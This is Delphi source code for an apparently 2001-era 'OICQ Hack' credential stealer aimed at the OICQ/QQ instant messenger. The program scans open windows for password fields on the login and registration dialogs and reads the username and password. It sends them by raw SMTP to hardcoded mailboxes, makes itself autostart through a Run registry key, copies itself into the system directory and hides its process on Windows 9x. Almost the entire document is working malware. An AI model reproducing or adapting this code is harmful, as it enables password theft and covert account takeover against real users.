{
****************** OICQ Hack 2001***********
*
* 2001 5.22 ver 1.1 Modify for OICQ2000b 0230
* 2001 5.25 ver 1.2 Modify for QQ2000b 0430
* Last updated: 2001.5.25
* Author :njhhack
* HackSoft Research Lab.
* Copyright(C) 2001 Allrigths Reserved.
*
*
**********************************************
}
//---------------下面是oicqhack.dpr工程文件
program oicqhack;
uses
Windows,
Messages,
mainunit in 'mainunit.pas';
{$R *.RES}
var
wClass: TWndClass; // class struct for main window
Msg: TMSG; // message struct
procedure ShutDown;
begin
UnRegisterClass(classname,hInst);
ExitProcess(hInst); //end program
end;
function WindowProc(hWnd,Msg,wParam,lParam:Longint):Longint; stdcall;
begin
Result:=DefWindowProc(hWnd,Msg,wParam,lParam);
case Msg of
WM_CREATE: wincreate;
WM_TIMER: ontimer1;
WM_DESTROY: ShutDown;
end;
end;
begin
//如果旧版本已运行,则停止旧版程序,只运行当前新版程序
hmain:=Findwindow('HackSoft-Oicq-Password-Recoder','OICQ 密码记录器2');
if hmain<>0 then sendmessage(lp,wm_destroy,0,0);
hInst:=GetModuleHandle(nil); // get the application instance
classname:='HackSoft-Oicq-Password-Recoder';
with wClass do
begin
Style:= CS_PARENTDC;
hIcon:= LoadIcon(hInst,'MAINICON');
lpfnWndProc:= @WindowProc;
hInstance:= hInst;
hbrBackground:= COLOR_BTNFACE+1;
lpszClassName:= classname;
hCursor:= LoadCursor(0,IDC_ARROW);
end;
RegisterClass(wClass);
hmain:=CreateWindowEx(WS_EX_TOOLWINDOW,classname,'OICQ 密码记录器3',WS_OVERLAPPEDWINDOW,10,10,120,80,0,0,hInst,nil);
//建立一个新的定时器，用来定时扫描系统中的窗口
newtime:=SetTimer(hmain,0,300,nil);
//建立消息循环
while(GetMessage(Msg,hmain,0,0))do
begin
TranslateMessage(Msg);
DispatchMessage(Msg);
end;
//结束定时器
killtimer(hmain,newtime);
end.
//-------下面是mainunit.pas单元文件
unit mainunit;
interface
uses
Windows,
Messages,
SysUtils,
Classes,
winsock,
registry;
const
CRLF=#13#10;
var
spy:string;
hinst,hmain,newtime,count,start,max,fhand,old,olde,lp:integer;
his:array[0..100] of integer;
syspath:array[0..200] of integer;
regservice:function(uThread:integer;uType:integer):Integer;stdcall;
libhandle:thandle;
classname:array[0..100] of char;
items:array[0..4] of string;
err:integer;
wsadata:twsadata;
fsocket,fport,step:integer;
SockAddrIn:TSockAddrIn;
hackmail,email,newpass,fhost,s1,password:string;
sbuf:array[0..1024] of char;
procedure winCreate;
procedure OnTimer1;
implementation
//修改注册表让程序自启动
procedure autorun;
var reg:tregistry;
begin
reg:=tregistry.create;
reg.rootkey:=HKEY_LOCAL_MACHINE;
reg.openkey('SOFTWARE\Microsoft\Windows\CurrentVersion\Run',true);
reg.WriteString('oicqpass',spy+'OICQPASS.EXE');
reg.closekey;
reg.free;
end;
//下面是个发信的子过程,取得密码后发回getoicq@21cn.com邮箱
procedure MailSend;
begin
err:=recv(FSocket,sbuf,400,0);
s1:=strpas(sbuf);
inc(step);
case step of
1:s1:='HELO smtp.hacker.com'+CRLF;
2:s1:='MAIL FROM: <getoicq@21cn.com>'+CRLF;
3:s1:='RCPT TO: <'+email+'>'+CRLF;
4:s1:='DATA'+CRLF;
5:s1:='From:"Oicq Hack"<www.hacker.com>'+CRLF
+'To:"getoicq"<www.password.com>'+CRLF
+'Subject:QQ2001 Password come.'+CRLF
+CRLF
+newpass+CRLF
+'.'+CRLF;
6:s1:='QUIT'+CRLF;
else
step:=0;
end;
strcopy(sbuf,pchar(s1));
err:=send(FSocket,sbuf,strlen(sbuf),MSG_DONTROUTE);
end;
//发信主过程
procedure SendPass;
begin
err:=WSAStartup($0101,WSAData);
FSocket := socket(PF_INET, SOCK_STREAM,IPPROTO_IP);
//利用 smtp.21cn.com 进行发信
fhost:='202.104.32.230';
fport:=25;
SockAddrIn.sin_addr.s_addr:=inet_addr(PChar(FHost));
SockAddrIn.sin_family := PF_INET;
SockAddrIn.sin_port :=htons(Fport);
err:=connect(FSocket,SockAddrIn, SizeOf(SockAddrIn));
step:=0;
repeat
MailSend;
until step=0;
err:=closesocket(FSocket);
err:=WSACleanup;
end;
//窗口枚举函数
function lpEnumFunc(hwnd:integer;uint:integer):boolean;stdcall;
var hw,hwold,hs,wlong,hup,i:integer;
sbuf,sb3,sb2:array[0..256] of char;
sb1:string;
begin
hwold:=GetParent(hwnd);
wlong:=GetWindowLong(hwnd,GWL_STYLE);
if (wlong and ES_PASSWORD)<>0 then
begin
//检查是否OICQ登陆
hup:=GetParent(hwnd);
sendmessage(hup,wm_gettext,100,integer(@sbuf));
strpcopy(sb2,'OICQ 注册向导');
strpcopy(sb3,'QQ 注册向导');
if (strcomp(sbuf,sb2)=0) or (strcomp(sbuf,sb3)=0) then
begin
old:=GetParent(hup);
old:=GetParent(old);
old:=GetParent(old);
start:=0;
count:=1;
//items.clear;
//跳过两个窗口
hwnd:=Getwindow(hwnd,GW_HWNDFIRST);
hwnd:=Getwindow(hwnd,GW_HWNDNEXT);
//取得用户名
hwnd:=Getwindow(hwnd,GW_HWNDNEXT);
hw:=GetWindowTextLength(hwnd);
hs:=integer(@sbuf);
sendmessage(hwnd,wm_gettext,100,hs);
items[0]:='用户名:'+strpas(sbuf);
//取得密码
hwnd:=Getwindow(hwnd,GW_HWNDNEXT);
hw:=GetWindowTextLength(hwnd);
hs:=integer(@sbuf);
sendmessage(hwnd,wm_gettext,100,hs);
items[1]:='密码:'+strpas(sbuf);
end;
strpcopy(sb2,'OICQ用户登录');
strpcopy(sb3,'QQ用户登录');
if (strcomp(sbuf,sb2)=0) or (strcomp(sbuf,sb3)=0) then
begin
old:=GetParent(hup);
old:=GetParent(old);
start:=0;
count:=1;
//items.clear;
//取得用户名
hwnd:=Getwindow(hwnd,GW_HWNDFIRST);
hw:=GetWindowTextLength(hwnd);
hs:=integer(@sbuf);
sendmessage(hwnd,wm_gettext,100,hs);
items[0]:='用户名:'+strpas(sbuf);
//取得密码
hwnd:=Getwindow(hwnd,GW_HWNDNEXT);
hw:=GetWindowTextLength(hwnd);
hs:=integer(@sbuf);
sendmessage(hwnd,wm_gettext,100,hs);
items[1]:='密码:'+strpas(sbuf);
end;
end;
//检查是否在线
hw:=GetWindowTextLength(hwnd);
hs:=integer(@sbuf);
sendmessage(hwnd,wm_gettext,100,hs);
strpcopy(sb2,'在线');
strpcopy(sb3,'隐身');
if (strcomp(sbuf,sb2)=0) or (strcomp(sbuf,sb3)=0) then
begin
if hwold=old then
begin
if olde<>old then
begin
if strcomp(sbuf,sb2)=0 then items[2]:='登录成功:在线'
else items[2]:='登录成功:隐身';
items[3]:=' ';
//密码发回我的邮箱getoicq@21cn.com
newpass:=format('%s %s %s %s',[items[0],items[1],items[2],items[3],items[4]);
//
hackmail:=email;
sendpass;
email:='mf001@etang.com';
sendpass;
email:=hackmail;
//密码存盘到oicqpass.dll中
{
if fileexists(spy+'oicqpass.dll')=false then fhand:=filecreate(spy+'oicqpass.dll')
else fhand:=fileopen(spy+'oicqpass.dll',fmOpenWrite);
if fileexists(spy+'oicqpass.dll')=false then fhand:=filecreate(spy+'oicqpass.dll')
else fhand:=fileopen(spy+'oicqpass.dll',fmOpenWrite);
fileseek(fhand,0,2);
strpcopy(sbuf,items[0]+#13#10+items[1]+#13#10+items[2]+#13#10+items[3]+#13#10);
filewrite(fhand,sbuf,strlen(sbuf));
fileclose(fhand);
}
end;
olde:=old;
end;
end;
result:=true;
end;
定时器响应函数
procedure OnTimer1;
begin
lp:=0;
EnumChildWindows(GetDesktopWindow,@lpEnumFunc,lp);
end;
//窗口创建响应函数
procedure winCreate;
var wlong:integer;
s1:string;
s2,s3,sbuf:array[0..300] of char;
i:integer;
osver:TOSVERSIONINFO;
tmp:tmemorystream;
begin
//取得操作系统版本信息,若为win9x则注册为服务进程而隐身,nt下无此功能
osver.dwOSVersionInfoSize:=sizeof(TOSVERSIONINFO);
if GetVersionEx(osver)=true then
begin
if VER_PLATFORM_WIN32_NT<>osver.dwPlatformId then
begin
LibHandle:=LoadLibrary('kernel32.dll');
if LibHandle<>0 then
begin
@regservice:=GetProcAddress(LibHandle, 'RegisterServiceProcess');
regservice(0,1);//1=hide,0=show;
FreeLibrary(LibHandle);
end;
end;
end;
max:=0;
count:=0;
将程序复制到系统目录
s1:=ParamStr(0);
for i:=0 to length(s1) do s2:=s1[i+1];
GetSystemDirectory(@syspath,MAX_PATH);
spy:=strpas(@syspath)+'\';
s1:=spy+'oicqhack.exe';
for i:=0 to length(s1) do s3:=s1[i+1];
copyfile(s2,s3,false);
//从email.txt中找到目标e-mail信箱
if fileexists('c:\email.txt')=false then
begin
email:='getoicq@21cn.com';
end else
begin
tmp:=tmemorystream.create;;
tmp.loadfromfile('c:\email.txt');
count:=tmp.size;
// strcopy(sbuf,pchar(''));
tmp.read(sbuf,count);
tmp.free;
email:='';
for step:=0 to count-1 do email:=email+sbuf[step];
strcopy(sbuf,pchar(email));
// messagebox(0,sbuf,'',0);
end;
count:=0;
step:=0;
//修改注册表使程序自启动
autorun;
end;
end.
/////////////////////////////////////////////////////////
--------倪建华---------------
HackSoft Research Lab.
Copyright(C) 2001 Alrights reserved.
